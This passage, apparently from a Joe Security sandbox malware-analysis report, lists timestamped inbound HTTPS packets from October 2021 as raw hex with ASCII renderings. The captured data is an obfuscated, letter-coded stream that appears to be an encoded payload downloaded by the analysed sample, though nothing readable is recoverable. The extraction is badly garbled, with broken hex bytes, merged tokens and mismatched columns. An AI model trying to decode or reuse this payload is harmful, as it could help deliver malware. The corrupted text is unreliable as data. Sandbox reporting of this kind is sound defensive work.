2021-10-29 18:30:02 UTC 2211 IN Data Raw: 4f 20 4f 6f 51 20 4f 6b 51 20 6f 45 4f 20 4f 6f 51 20 4f 4b 78 20 6f 45 4f 20 4f 45 78 20 4f 4b 78 20 6f 45 4f 20 4f
6f 51 20 4f 4b 45 20 6f 45 4f 20 4f 45 78 20 4f 45 78 20 6f 45 4f 20 4f 6f 51 20 4f 6b 59 20 6f 45 4f 20 4f 6 51 20 4f 4b 6f
20 78 20 6f 45 59 20 4f 45 45 20 4f 4b 74 20 6f 45 59 20 4f 45 45 20 4f 74 74 20 6f 45 59 20 4f 45 45 20 4f 51 78 20 6f 45
59 20 4f 45 45 20 4f 52 6f 20 6f 45 59 20 4f 45 4b 20 4f 4b 4b 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f 45 59 20 4f 45 4b 2
0 4f 45 4b 20 6f 45 59 20 4f 45 45 20 4f 74 4b 20 6f 45 59 20 4f 45 45 20 4f 4b 52 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f
45 59 20 4f 45 4b 20 4f 6f 51 20 6f 45 59 20 4f 45 45 20 4f 4b 4f 20 6f 45 59 20 4f 45 45 20 4f 4b 4b 20 6f 45 59 20 4f 45 45
20 4f 6b 6b 20 6f 45 59
Data Ascii: O OoQ OkQ oEO O0Q OKx oEO OEx OKx oEO OoQ OKE oEO OEx OEx 0oEO OoQ OkY oEO OoQ OKo x
oEY OEE OKt oEY OEE Ott oEY OEE OQx oEY OEE ORo oEY OEK OKK oEY OEE OKx oEY OEK OEK oEY OEE OtK
oEY OEE OKR oEY OEE OKx oEY OEK OoQ oEY OEE OKO oEY OEE OKK oEY OEE Okk oEY
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:30:02 UTC 2227 IN Data Raw: 4f 4b 74 20 4f 4b 78 20 6f 6f 6b 20 4f 4b 52 20 4f 59 51 20 6f 6f 6b 20 4f 4b 52 20 4f 6b 4f 20 6f 6f 6b 20 4f 4b
52 20 4f 6b 6b 20 6f 6f 6b 20 4f 4b 52 20 4f 59 4f 20 6f 6f 6b 20 4f 4b 52 20 4f 59 45 20 6f 6f 6b 20 4f 4b 52 20 4f 59 4f 20
78 20 6f 45 4f 20 4f 4b 52 20 4f 59 6f 20 6f 45 4f 20 4f 4b 52 20 4f 4b 6b 20 6f 45 4f 20 4f 4b 52 20 4f 59 45 20 6f 45 4f 20
4f 4b 74 20 4f 45 45 20 6f 45 4f 20 4f 4b 52 20 4f 6b 74 20 6f 45 4f 20 4f 4b 52 20 4f 59 4b 20 6f 45 4f 20 4f 4b 74 20 4f 45
74 20 6f 45 4f 20 4f 4b 52 20 4f 59 78 20 6f 45 4f 20 4f 4b 74 20 4f 45 52 20 6f 45 4f 20 4f 4b 74 20 4f 45 59 20 6f 45 4f 20
4f 4b 52 20 4f 6b 78 20 6f 45 4f 20 4f 4b 52 20 4f 59 52 20 6f 45 4f 20 4f 4b 74 20 4f 45 4b 20 6f 45 4f 20 4f 4b 52 20 4f 74
6b 20 6f 45 4f 20 4f
Data Ascii: OKt OKx ook OKR OYQ ook OKR OkO ook OKR Okk ook OKR OYO ook OKR OYE ook OKR OYO x oEO OK
R OYo 0EO OKR OKk 0EO OKR OYE oEO OKt OEE 0EO OKR Okt 0EO OKR OYK 0EO OKt OEt 0EO OKR OYx 0EO
OKt OER 0EO OKt OEY 0EO OKR Okx 0EO OKR OYR 0EO OKt OEK 0EO OKR Otk oEO O

2021-10-29 18:30:02 UTC 2243 IN Data Raw: 4b 20 4f 52 4f 20 6f 45 78 20 4f 52 4b 20 4f 4b 6f 20 6f 45 78 20 4f 52 4b 20 4f 6b 59 20 6f 45 78 20 4f 52 45 20
4f 74 51 20 6f 45 78 20 4f 52 4b 20 4f 59 4f 20 6f 45 78 20 4f 52 45 20 4f 6b 45 20 6f 45 78 20 4f 52 4b 20 4f 52 6f 20 78 20
6f 6f 74 20 4f 74 4b 20 4f 52 51 20 6f 6f 74 20 4f 74 4b 20 4f 52 52 20 6f 6f 74 20 4f 74 59 20 4f 59 78 20 6f 6f 74 20 4f 74
4b 20 4f 52 6f 20 6f 6f 74 20 4f 74 4b 20 4f 52 6b 20 6f 6 74 20 4f 74 59 20 4f 45 45 20 6f 6f 74 20 4f 74 59 20 4f 45 74 20
6f 6f 74 20 4f 74 4b 20 4f 52 4b 20 6f 6f 74 20 4f 74 59 20 4f 74 78 20 6f 6f 74 20 4f 74 59 20 4f 52 4b 20 6f 6f 74 20 4f 74
59 20 4f 59 4b 20 6f 6f 74 20 4f 74 59 20 4f 4b 59 20 6f 6f 74 20 4f 74 59 20 4f 4b 6b 20 6f 6f 74 20 4f 74 59 20 4f 4b 59 20
6f 6f 74 20 4f 74 4b
Data Ascii: K ORO oEx ORK OKo oEx ORK OkY oEx ORE OtQ oEx ORK OYO oEx ORE OkE oEx ORK ORo x oot OtK
ORQ oot OtK ORR oot OtY OYx oot Otk ORo oot OtK ORk oot OtY OEE oot OtY OEt oot OtK ORK oot OtY Otx oot OtY
ORK oot OtY OYK oot OtY OKY oot OtY OKk oot OtY OKY oot OtK

2021-10-29 18:30:02 UTC 2259 IN Data Raw: 4f 74 4f 20 6f 45 6b 20 4f 6b 4b 20 4f 4b 78 20 6f 45 6b 20 4f 6b 45 20 4f 74 4f 20 6f 45 6b 20 4f 6b 4b 20 4f 59
4b 20 6f 45 6b 20 4f 6b 4b 20 4f 52 74 20 6f 45 6b 20 4f 6b 4b 20 4f 59 74 20 6f 45 6b 20 4f 6b 45 20 4f 74 6f 20 78 20 6f
45 45 20 4f 6b 4b 20 4f 45 4f 20 6f 45 45 20 4f 6b 4b 20 4f 74 6f 20 6f 45 45 20 4f 6b 4b 20 4f 6f 6b 20 6f 45 45 20 4f 6b 4b
20 4f 59 4f 20 6f 45 45 20 4f 6b 4b 20 4f 59 6f 20 6f 45 45 20 4f 6b 4b 20 4f 74 4f 20 6f 45 45 20 4f 6b 4b 20 4f 74 45 20 6f
45 45 20 4f 6b 4b 20 4f 74 59 20 6f 45 45 20 4f 6b 4b 20 4f 74 4f 20 6f 45 45 20 4f 6b 4b 20 4f 59 52 20 6f 45 45 20 4f 6b
45 20 4f 51 78 20 6f 45 45 20 4f 6b 4b 20 4f 59 6b 20 6f 45 45 20 4f 6b 45 20 4f 51 78 20 6f 45 45 20 4f 6b 4b 20 4f 74 4b
20 6f 45 45 20 4f 6b 4b 20 4f
Data Ascii: OtO oEk OkK OKx oEk OKE OtO oEk OkK OYK oEk OkK ORt oEk OkK OYt oEk OKE Oto x oEE OkK OEO
OoEE OkK Oto oEE OkK Ook oEE OkK OYO oEE OkK OYo oEE OkK OtO oEE OkK OtE oEE OkK OtY oEE OkK OtO oEE
OkK OYR oEE OKE OQx oEE OkK OYk oEE OKE OQx oEE OkK OtK oEE OkK O

2021-10-29 18:30:02 UTC 2275 IN Data Raw: 45 20 6f 45 59 20 4f 45 45 20 4f 4b 6b 20 6f 45 59 20 4f 45 45 20 4f 6b 45 20 6f 45 59 20 4f 45 45 20 4f 45 51
20 6f 45 59 20 4f 45 45 20 4f 6b 4f 20 6f 45 59 20 4f 45 45 20 4f 45 51 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f 45 59 20 4
45 45 20 4f 6b 78 20 6f 45 59 20 4f 45 45 20 4f 52 4f 20 6f 45 59 20 4f 45 45 20 4f 45 4f 20 6f 45 59 20 4f 45 4b 20 4f 45 51
20 6f 45 59 20 4f 45 45 20 4f 6b 45 20 78 20 6f 6f 74 20 4f 59 4f 20 4f 74 52 20 6f 6f 74 20 4f 59 4f 20 4f 52 51 20 6f 6f 74 Z
0 4f 59 4f 20 4f 4b 74 20 6f 6f 74 20 4f 59 78 20 4f 51 78 20 6f 6f 74 20 4f 59 4f 20 4f 4b 6b 20 6f 6f 74 20 4f 59 4f 20 4f 74
6f 20 6f 6f 74 20 4f 59 78 20 4f 6b 6f 20 6f 6f 74 20 4f 59 4f 20 4f 74 78 20 6f 6f 74 20 4f 59 78 20 4f 6b 51 20 6f 6f 74 20 4f
59 4f 20 4f 6b 6b
Data Ascii: E o0EY OEE OKk oEY OEE OKE oEY OEE OEQ oEY OEE OkO oEY OEE OEQ oEY OEE OKx oEY OEE Okx
oEY OEE ORO oEY OEE OEO oEY OEK OEQ oEY OEE OKE x oot OYO OtR oot OYO ORQ oot OYO OKt oot OYx OQx
oot OYO OKk oot OYO Oto oot OYx Oko oot OYO Otx oot OYx OkQ oot OYO Okk

2021-10-29 18:30:02 UTC 2291 IN Data Raw: 20 78 20 52 59 20 78 20 52 52 20 78 20 52 74 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 52 20 78 20 59 6f 20
7820 74 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20 7820 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f
4f 51 20 78 20 4f 4f 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20
78 2052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20 78 2052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
Data Ascii: X RY x RR x Rt x RY x kO x RR x Yo x tE x kO x RY x RY x RY X RY X RY x RY x RY X RY x RY x RY x RY x
RY x RR x O0Q x O0Q x O0Q x RY x RY xto x RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY x
RY x RY x RY X RY x RY x RY x RY x RY x RY x

2021-10-29 18:30:02 UTC 2307 IN Data Raw: 78 20 4b 45 20 78 20 4f 78 59 20 78 20 4f 4f 78 20 78 20 6b 78 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52
59 20 78 20 6b 59 20 78 20 74 45 20 78 20 4b 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 74 78 20 78 20 52 74 20 78
20 7452 20 78 20 52 52 20 78 20 4f 4f 4f 20 78 20 4f 4f 6b 20 78 20 74 51 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 59
20 78 20 6b 4f 20 78 20 59 4b 20 78 20 4f 6f 4f 20 78 20 4f 78 51 20 78 20 74 52 20 78 20 52 52 20 78 20 4f 78 51 20 78
2051 74 20 78 20 52 6b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 6b 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 6b
20 7820 59 52 20 78 20 52 59 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 59 78 20 78 20 4b 6b 20 78 20 4b 74 20 78 20
4b 74 20 78 20 59 59 20 78 20 4b 74 20 78 20 6b 59 20 78 20 6b
Data Ascii: x KE x OxY x OOx x kx x OXE x RY x RY x kY X tE x KQ x tx x OOR x tx X Rt x tR x RR x OO0 x OOk x tQ x
Kt x KQ x RY x kO x YK x 000 x OxQ x tR X RR x OxQ X Qt x Rk x 000 x Qk x kK x Kt x Kt x OOk X YR x RY x OxR x kQ
X Yx X Kk X Kt X Kt X YY x Kt x kY x k

2021-10-29 18:30:02 UTC 2323 IN Data Raw: 51 6b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4f 78 74 20 78 20 52 51 20 78 20 6b 52 20 78 20 59 6f 20 78
20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4b 45 20 78 20 52 59 20 78 20 4b 45 20 78 20 74 78 20 78 20 4f 4f 4f 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 59 52 20 78 20 74 45 20 78 20 52 59 20 78 20
4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 59 6f 20 78 20 59 78 20 78 20 74 78 20 78 20 59 6f 20 78
20 4f 4f 6b 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 74 6b 20 78 20 6b 4f 20 78 20 51 78 20
78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20 59 6f 20 78 20 6b 78 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b
7420 78 20 4b 45 20 78 20 4f 78 52 20 78 20 4f 4f 74 20
Data Ascii: Qk x OXE x Kt x Oxt x RQ x kR x Yo x Oxk x Oxx x KE X RY x KE x tx x OO0 x RY x RY x RY x RY x tRx YR
X tE X RY X OXE X RY X RY X kR X YO X YX X tx X YO x OOk x YO x Kt x Kt x KQ x tk x kO x Qx x OO0 x OxQ x Oxx X Yo x
kx x YO x Kt x Kt x KE x OXR x OOt

2021-10-29 18:30:02 UTC 2339 IN Data Raw: 20 74 78 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 74 20 78 20 51 51 20 78
20 74 4f 20 78 20 4b 6b 20 78 20 74 74 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 52
207820 6b 74 20 78 20 4f 78 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 59 52 20 78
20 6b 4f 20 78 20 74 74 20 78 20 4f 78 59 20 78 20 59 52 20 78 20 51 6b 20 78 20 52 6b 20 78 20 6b 59 20 78 20 74 52
20 78 20 4f 78 51 20 78 20 74 74 20 78 20 59 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 6f 78 20 78
20 4f 4f 51 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 4f 6f 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 59 4b
20 7820 74 6b 20 78 20 74 74 20 78 20 4f 4f 6b 20 78 20 52
Data Ascii: tx x tO x OO0 x RY x kY x tt x QQ x tO x Kk x tt x OO0 x RY x RY x tQ x OxR x kt x OxY x RY x RY x RY x
OXE x YR x kO x tt x OxY x YR x Qk x Rk x kY x tR x OxQ x tt x YR x Oxt x RY x RY x Oox x OOQ x Rk x kO x 000 x Oxt
X RY x RY x YK x tk x tt x OOk x R

Copyright Joe Security LLC 2021 Page 109 of 130



kBytes
Timestamp transferred

2021-10-29 18:30:02 UTC 2355

2021-10-29 18:30:02 UTC 2371

2021-10-29 18:30:02 UTC 2387

2021-10-29 18:30:02 UTC 2403

2021-10-29 18:30:02 UTC 2419

2021-10-29 18:30:02 UTC 2435

2021-10-29 18:30:02 UTC 2451

2021-10-29 18:30:02 UTC 2467

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b
4f 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 74 78 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 52 52 20 78 20 6b 4f 20 78
205259 20 78 20 52 6b 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 4b 51 20 78 20 6b 74 20 78 20 74 52 20 78 20 59 59
20 7820 74 45 20 78 20 6b 78 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 74 45 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20
59 6f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 78 20 78 20 4f 4f 51 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 74 6b 20
78 2059 78 20 78 20 74 45 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 52 6b 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 74
6b 20 78 20 59 45 20 78 20 74 45 20 78 20 4f 4f 52 20 78 20

Data Ascii: Q x kO x RY x RY x Rk x Kt x Oxx x kO x OxR x Kt x tx x Qx X OXR x RR x kO x RY x Rk x tK x O0Q x KQ x kt
X tR X YY X tE x kx x OOY x tY x tE x tk x Oxk x Yo x RY x Rt x tx x OOQ X tE x Oxk x tk x Yx x tE x OOR x tk x Rk x tE x
Oxk x tk x YE x tE x OOR x

Data Raw: 20 78 20 4b 6b 20 78 20 4b 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 4b
207820 6b 52 20 78 20 59 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20
4f 78 6f 20 78 20 6b 4b 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 4f 20 78 20 59 4b 20 78
20 7478 20 78 20 74 45 20 78 20 6b 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b
20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 4f 20 78 20 51
74 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4
f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 4b 51 20 78 20

Data Ascii: x Kk x Kt x Oxo x Kt x Kt x YK x tK X kR x YX X RY x RY x Rt x tk x OxK x Oxo0 x kK x Yt x Kt x Kt x Yt x kO x
YK x tx X tE x kx X RY x RY X Rt x tk x OxK x Ox0 x kK x Yt x Kt x Kt x Yt x kO x Qt x RY x Rk x tt x kO X RY x Rt x tk x
OxK x Oxo x kK x KQ x

Data Raw: 20 4f 78 52 20 78 20 52 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20
78 20 4f 78 6f 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 78 20 6b 45 20 78 20 4f 78 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78
2052 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 52 51 20 78 20 52 6b 20 78 20 6b 78 20 78 20 59 74 20 78 20 4b 51 20
7820 4b 45 20 78 20 74 45 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 74 20 78 20 59 74 20 78 20 4f 4f 59 20 78 20 51
6b 20 78 20 59 78 20 78 20 4b 6b 20 78 20 6b 78 20 78 20 4b 74 20 78 20 74 78 20 78 20 6b 6f 20 78 20 6b 4b 20 78 20
52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 45 20 78 20 59 4b 20 78 20 6b 6b 20
78 20 4f 78 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74

Data Ascii: OxR x RQ x kO x RY x Rk x Kt x Oxx x Oxo x OXR x OO0 x kE x Oxk x OO0 x RY x RY x tE x kx x RQ x Rk x
kx x Yt x KQ x KE x tE x OOk x kQ x Yt x Yt x OOY x Qk x Yx x Kk x kx x Kt x tx x ko x kK x RY x kO x RY x RR x OxQ x
OXE x YK x kk x Oxt x Yt x Kt x Kt

Data Raw: 20 78 20 4b 74 20 78 20 6b 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 4f 4f 74 20 78 20 74 52 20 78 20 59 52
2078 20 74 6f 20 78 20 6b 4f 20 78 20 52 51 20 78 20 74 51 20 78 20 4b 74 20 78 20 74 6b 20 78 20 4b 51 20 78 20 74
4b 20 78 20 4f 78 6b 20 78 20 6b 78 20 78 20 4b 74 20 78 20 74 78 20 78 20 6b 6f 20 78 20 4f 78 52 20 78 20 52 74 20 78
20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 6b 78 20 78 20 6b 59 20 78 20 4f 6f 6f 20 78 20 52 59 20
78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 59 78 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 74 45
20 7820 6b 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 6b 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 4f 4f 6f 20 78 20
6b 4b 20 78 20 4f 78 59 20 78 20 4b 74 20 78 20 52 6b 20 78

Data Ascii: x Kt x kt x tQ x Kt x OOt x tR x YR x to x kO x RQ X tQ x Kt x tk x KQ x tK x Oxk x kx x Kt x tx x ko x OXR x Rt x
kO x RY x Rt x tR x kx X KY x 000 X RY X kO X RY X Rt X tR X Yx X tO x OO0 x tE x kY x Kt x Kt x kk x Qt x OXE x OO0 x
kK x OxY x Kt x Rk x

Data Raw: 4f 78 6b 20 78 20 4f 78 78 20 78 20 4b 6b 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 52 74 20 78 20 4b 74 20
78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 59 20 78 20 59 4f 20 78 20 6b 59 20 78 20 74 74 20 78 20 51
7820 78 20 4f 78 52 20 78 20 4f 78 74 20 78 20 4f 78 4f 20 78 20 52 6b 20 78 20 59 6f 20 78 20 6b 4f 20 78 20 4f 4f 6b 20
78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 6b 6b 20 78 20 6b 6b 20 78 20 4f 4f
4f 20 78 20 4f 78 59 20 78 20 4b 6b 20 78 20 6b 6b 20 78 20 4f 4f 4f 20 78 20 52 6b 20 78 20 59 59 20 78 20 51 51 20 78
2052 59 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 4b 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 52
207820 74 78 20 78 20 74 51 20 78 20 6b 52 20 78 20

Data Ascii: Oxk x Oxx x Kk x tQ x OXR x Rt x Kt X Oxo x Kt x Kt x OXY x YO x kY x tt X Qx X OxR x Oxt x OXO x Rk x Yo x
kO x OOk x RY x kO x RY x RY x OxY x kk x kk x OO0 x OxY x Kk x kk x OO0 x Rk x YY x QQ x RY x Qx X OxR x Kk x
OXE x RY x to x kR x tx x tQ x kR x

Data Raw: 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f
20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4b 74 20 78 20 4f 6f 78 20 78 20 6b 59 20 78 20 4b 6b 20 78 20 4f 4f 51 20 78
20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6b 20 78 20 4b 51 20 78 20 59 59 20 78 20 74 4b 20 78 20 4f 4f 51
2078 20 4b 51 20 78 20 6b 74 20 78 20 74 52 20 78 20 59 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 4f 4f 59 20 78 20
6b 4f 20 78 20 74 4f 20 78 20 51 74 20 78 20 52 6b 20 78 20 51 78 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78
2051 74 20 78 20 4f 78 52 20 78 20 59 4b 20 78 20 74 6b 20 78 20 6b 6f 20 78 20 51 51 20 78 20 74 4b 20 78 20 4f 4f 45
20 78 20 52 59 20 78 20 74 78 20 78 20 52 6b 20 78 20 4f 4f 4f

Data Ascii: x Kt x Oxx X kO x 000 x Kt x Oxx x kO x OxK x kt x Kt x Oox x KY x Kk x O0Q x kY x RY x RY x kk x KQ x YY
X tK x O0Q x KQ x kt X tR X YY X tE X kx x OOY x kO x tO x Qt x Rk X Qx X QQ x RY X RY x Qt X OxR x YK x tk x ko x QQ
x tK x OOE x RY x tx x Rk x OO0

Data Raw: 20 52 59 20 78 20 74 74 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 4f 45 20 78 20 74 78 20 78 20 74 78 20
78 20 4f 4f 45 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 4f 78 6f 20 78 20 4f 78 59 20 78 20 52 6b 20 78
20 59 45 20 78 20 52 6b 20 78 20 52 52 20 78 20 59 74 20 78 20 59 74 20 78 20 4f 78 74 20 78 20 74 52 20 78 20 4f 6f 4f
20 78 20 74 78 20 78 20 74 6f 20 78 20 4f 4f 4f 20 78 20 74 6f 20 78 20 6b 59 20 78 20 4f 78 74 20 78 20 52 59 20 78 20
52 59 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 59 59 20 78 20 52 74 20 78 20 6b 78 20 78 20 52 52 20 78 20 52 59 20

78205259 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 74 4b 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 52 74 20 78 20 74

4b 20 78 20 6b 6b 20 78 20 4f 78 6f 20 78 20 4f 6f 4f 20 78

Data Ascii: RY x tt x YR x Oxk x OOE x tx x tx x OOE x tR x Oox x OOk x Ox0 x OxY x Rk x YE x Rk x RR x Yt x Yt x Oxt
X tR X 000 x tx X to x OO0 x to x KY x Oxt x RY X RY X tx x OXQ x YY x Rt X kx X RR x RY X RY x tx X OxQ x tK x ko x Kk
x Rt x tK x kk x Oxo x 000 x

Data Raw: 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 59 78 20 78 20 6b
7820 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 6b 20 78 20 4f 6f 4f 20 78 20 74 52 20 78 20 4f 6f 78 20
78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 6b 4b 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51
74 20 78 20 4f 78 59 20 78 20 4b 45 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 74 59
20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 59 20 78 20 4f 78 59 20 78
2074 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b
742078 20 4b 74 20 78 20 51 74 20 78 20 4f 78 59 20 78

Data Ascii: x tR x Oox x OOt x OxK x QQ x Yx x kx x Kt x Kt x Qt x Oxk x 000 x tR x Oox x OOt x OxK x kK x Yx x kx x Kt
x Kt x Qt x OxY x KE x tR x Oox x OOt x OxK x tY x Yx x kx x Kt x Kt x Qt x OxY x OxY x tR x Oox x OOt x OxK x RR x Yx
x kx x Kt x Kt x Qt x OxY x
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Timestamp transferred Direction Data

2021-10-29 18:30:02 UTC 2483 IN Data Raw: 20 6b 59 20 78 20 74 4f 20 78 20 51 74 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 4f 20 78 20 52 6b 20 78
2059 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 52 6b 20 78 20 6b 51
20782052 59 20 78 20 52 59 20 78 20 74 78 20 78 20 51 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 6b 4f 20 78 20
745220 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 6b 59 20 78 20 74 4f 20 78
2051 74 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20
78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 51 51 20 78 20 4f 6f 6f 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74
7820 78 20 51 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 6b
Data Ascii: KY x tO x Qt x tK x OOk x kO x Rk x Yo x Kt x Kt x Kt x OO0 x OxY x Rk x kQ x RY x RY x tx x Qt x tk x OxK x
kO x tR x YK x Kt x Kt x Yt x kk x KY x tO x Qt x tK x OOk x kO x Rk x YK x Kt x Kt x Kt x OO0 x QQ x 000 x kQ x RY x
RY x tx x Qt x tk x OxK x k

2021-10-29 18:30:02 UTC 2499 IN Data Raw: 78 20 4f 6f 6f 20 78 20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 6b 6f 20 78 20 4f 78 78 20 78 20 6b 45 20 78 20 74 51
20 78 20 74 78 20 78 20 4f 6f 78 20 78 20 59 4f 20 78 20 6b 59 20 78 20 4f 78 6f 20 78 20 4f 78 59 20 78 20 4b 6b 20 78
20 6b 51 20 78 20 4b 6b 20 78 20 4f 78 59 20 78 20 6b 59 20 78 20 6b 6b 20 78 20 59 52 20 78 20 4f 78 59 20 78 20 4f 4f
51 20 78 20 51 74 20 78 20 74 52 20 78 20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 59 74 20 78 20 6b 4f 20 78 20 51 74 20 78
20 74 4f 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 78 20 4f
78 4b 20 78 20 74 51 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 74 20 78 20 74 52 20 78
20 6b 6f 20 78 20 4f 78 6f 20 78 20 4f 6f 6f 20 78
Data Ascii: x 000 x 000 x OOk x ko x Oxx x kE x tQ x tx x Oox x YO x kY x Oxo x OxY x Kk x kQ x Kk x OxY x kY x kk x
